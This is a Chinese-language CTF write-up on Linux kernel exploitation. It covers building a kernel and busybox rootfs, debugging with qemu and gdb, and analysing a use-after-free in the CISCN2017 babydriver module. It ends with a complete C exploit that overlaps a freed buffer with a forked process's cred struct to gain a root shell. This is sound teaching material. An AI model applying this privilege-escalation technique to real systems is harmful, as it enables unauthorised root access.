环境搭建
简单分析linux内核漏洞，我们需要用到如下一些工具
- gdb 动态调试
- IDA 静态分析驱动程序
- qemu 模拟器
- busy-box 文件系统
- extract-vmlinux 可以从bzImage中解压出vmlinux
下载编译linux内核源码
linux各版本内核 : https://mirrors.edge.kernel.org/pub/linux/kernel/
linux内核代码在线查看 : https://elixir.bootlin.com/linux/latest/source
我们使用curl命令将内核压缩包下载到本地然后解压缩
curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.9.tar.xz
unxz linux-5.9.tar.xz
tar -xf linux-5.9.tar
下载解压完之后我们就可以配置编译选项然后编译内核了
我们进入解压好的目录cd linux-5.9
然后编辑编译属性make menuconfig
注意 :
这里第一次编译内核可能需要安装一些依赖，我们跟着它的提示安装即可
编译的时候出现这个，也只要安装flex和bison就可以
我们配置编译菜单的时候将这两个选上就可以了，然后我们保存即可
Kernel hacking -> Compile-time checks and compiler options -> Compile the kernel with debug info
Kernel hacking -> Generic Kernel Debugging Instruments -> KGDB: kernel debugger
最新版本的内核这两项都是默认勾选的
然后我们就可以进行编译了（这里我们使用make -j4 bzImage，直接使用make的话会编译很多用不到的东西，而且很慢）
这里可能又会提示缺少一些依赖，我们只要跟着安装即可sudo apt-get install libelf-dev
有时候可能会有这个报错
我们只需要把.config文件中的CONFIG_SYSTEM_TRUSTED_KEYS置空就可以了
然后我们继续编译
如果出现这个，则表示编译成功
这里我们编译好内核之后启动的话是会报错的，因为没有文件系统，我们得安装busy-box文件系统
下载 wget https://busybox.net/downloads/busybox-1.35.0.tar.bz2
解压 tar -jxf busybox-1.35.0.tar.bz2
然后我们开始编译文件系统，先进入文件夹 cd ./busybox-1.35.0
配置编译菜单 make menuconfig
这里我们把这个选上然后保存就可以（这是因为我们得将其编译成静态文件，因为kenal是没有libc的）
Setttings -> Build static binary (no shared libs)
然后还得看看这两个，这两个是不能选上的
Linux System Utilities -> Support mounting NFS file systems on Linux < 2.6.23 (NEW)
Networking Utilities -> inetd
静态编译和链接需要额外安装一个依赖 sudo apt-get install libc6-dev
现在我们就可开始编译我们的文件系统了make -j4
编译完成之后我们就可以创建rootfs了,使用命令make install
然后我们在生成的_install文件夹下面创建一系列文件 mkdir -p proc sys dev etc/init.d
创建好之后我们在当前文件夹下面创建挂载脚本(init)，并写入
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh这样我们的文件系统就差不多创建好了，现在我们打包即可 find . | cpio -o --format=newc > ../rootfs.img
我们也可是使用cpio -idmv < rootfs.img解包
启动内核
我们先安装qemu，安装之前记得sudo apt-get update 更新一下资源包，不然可能会提示找不到包
sudo apt install qemu-system-x86
qemu安装之后我们创建一个文件夹，将之前生成的bzImage和rootfd.img放到这个文件夹中，然后创建启动文件start.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr" \
-smp cores=2,threads=1 \
-cpu kvm64这里注意我们需要将虚拟机的支持虚拟化开起来，不然这边的-cpu kvm64就会报错
我们打开虚拟机设置，勾选上这个即可
然后我们运行我们创建的start.sh文件，注意这里要勇敢root用户权限启动，即sudo ./start.sh
这样我们就启动好了
内核驱动的调试
我们拿CISCN2017 - babydriver这道题目来调试
这道题目我们拿到后一共有四个文件
- babydriver.ko 内核驱动
- boot.sh 启动脚本
- bzImage 内核镜像
- rootfs.cpio 文件系统
我们首先创建一个box文件夹，到时候我们可以把rootfs.cpio文件系统解压到box文件夹下，然后修改或者把exp放进去然后重新打包
文件系统
我们先将rootfs.cpio文件系统修改名字为rootfs.cpio.gz，并放入box文件夹下
mv rootfs.cpio ./box/rootfs.cpio.gz
然后进入box文件夹下 cd./box解压该文件 gunzip rootfs.cpio.gz
然后使用 cpio命令将文件系统解出来 cpio -idmv < rootfs.cpio
可以看到在当前目录下生成了这些个文件，这个init就是整个文件系统初始化的脚本，我们可以进去看看
这个位置就是设置uid和gid，如果设置为1000，则是以user用户启动，如果设置为0则是以root用户启用，我们先设置为0，以root用户启动，这样方便我们调试，然后我们返回上一层目录 cd ..，看看boot.sh文件，这个文件就是启动脚本
这里我们需要添加-gdb tcp::1234用于远程调试，然后添加nokaslr，这样地址就不会随机化了，方便调试
我们以root权限运行该脚本 sudo ./boot.sh我们就进入了一个qemu的虚拟化
可以看到我们是以root权限启动的
然后我们新起一个shell，运行gdb用于调试
我们指定远程调试的端口target remote localhost:1234
这时候我们需要添加符号表，我们现在qemu启动的虚拟化中查看装载的驱动
然后在另外一个shell里面添加符号表 add-symbol-file babydriver.ko 0xffffffffc0000000
这样我们就可以设置正确的断点了
然后我们就可以调试内核了
一道题目
我们有了上面这些基础后，我们继续来看CISCN2017 - babydriver这道题目
基础知识
设备
在linux以及所有的unix操作系统中，设备被分为了三种
- 块设备
- 字符设备
- 网络设备
块设备的缩写是blkdev，块设备通常被称为“块设备节点”的特殊文件访问，块设备通常被挂载为文件系统，它是可寻址的，通常支持重定位操作
字符设备的缩写是cdev，字符设备通常被称为“字符设备节点”的特殊文件访问，应用程序通常直接访问设备节点来与字符设备交互
网络设备提供了对网络的访问，通过套接字API来访问
模块
linux虽然是单块内核的操作系统，但是linux的内核是模块化组成的，它允许内核在运行过程中动态地插入或删除代码，这些代码（相关的子例程、数据、函数出入口）被组合在了一个单独的二进制镜像中，这个镜像就被称为模块
静态分析
1.babydriver_init()函数
alloc_chrdev_region()动态的申请注册一个设备号
cdev_init()注册字符设备
cdev_add()告诉内核设备号，一执行这条语句，其操作可以立即被内核调用
_class_create()将当前设备的设备节点注册进sysfs中
device_create()初始化逻辑设备
babydriver_init函数就是一些初始化的操作，创建设备
2.babydriver_exit()函数
device_destroy()用于从Linux内核系统设备驱动程序模型中移除一个设备
class_destroy()删除设备的逻辑类
cdev_del()移除cdev结构体变量所描述的字符设备
unregister_chrdev_region()释放设备号
babydriver_exit函数就是一些清除操作
3.babyrelease()函数
kfree()释放kmalloc申请的空间
printk()打印字符串
babyrelease函数就是将babydev_struct.device_buf释放掉
4.babyopen()函数
kmem_cache_alloc_trace()分配内存
babyopen函数就是在内核中创建了一个 babydev_struct 的结构体，包含了 device_buf 指针以及一个 device_buf_len成员变量
5.babyioctl()函数
_kmalloc()分配一块内存
babyioctl函数现将之前创建的结构体free掉，然后又重新分配一块内存
6.babywrite()函数
copy_from_user()将用户空间的数据传输给内核空间
babywrite函数就是将用户空间的数据拷贝给内核的device_buf
7.babyread()函数
copy_to_usr()将内核空间的数据拷贝到内核空间
babyread函数就是将内核空间device_buf上的数据拷贝到用户空间
漏洞分析
babyopen()函数分配了一块内存，babydev_struct.device_buf该指针指向这块内存，然后babyrelease()函数使用kfree释放掉这块内存的时候，并没有将babydev_struct.device_buf该指针置空，这边就可能存在一个UAF漏洞
babyioctl()函数使用kfree释放内存后也没有将babydev_struct.device_buf该指针置空，而且又使用__kmalloc分配一块内存
动态调试
首先我们需要先安装extract-vmlinux，使用此工具从bzImage中解压出vmlinux
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
或者直接创建一个名为extract-vmlinux的文件，然后把下面的网页中的内容复制到extract-vmlinux中
https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux
使用extract-vmlinux bzImage > vmlinux即可
但是这个vmlinux是不带符号表的，它的一些地址都存放在/boot/文件下的一个类似System.map-5.11.0-38-generic的文件中
我们还可以使用vmlinux-to-elf这个工具，这个工具必须要在python3.5以上的环境，从下列网站中下载解压后，进入文件夹后执行sudo python3 setup.py install
https://github.com/marin-m/vmlinux-to-elf
我们执行这个命令vmlinux-to-elf bzImage vmlinux即可得到有符号表的vmlinux
然后我们就可以动态调试了
先使用qemu运行虚拟化环境，sudo ./boot.sh
然后我们新开一个窗口打开gdb
add-symbol-file babydriver.ko 0xffffffffc0000000
add-symbol-file vmlinux
target remote localhost:1234然后就可以下断点调试了
漏洞利用
这里我们先说一下这个linux内核中的cred结构体，该结构体是用来保存每个进程的权限的，我们只要能够修改该结构体，就可以使得某一个进程的权限为root
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};我们只需要指向两次open，这样即使其中一个fd被close之后，还可以用另一个fd来操作device_buf
我们使用ioctf函数修改babydev_struct.device_buf_len为cred结构体的大小
然后释放fd1，这时候我们新起一个进程，新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
这样我们就可以修改新进程的结构体的uid/gid为0，就拿到root权限了
exp如下(取自ctf-wiki)
//gcc x.c -static -o c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2，修改新进程的 cred 的 uid，gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}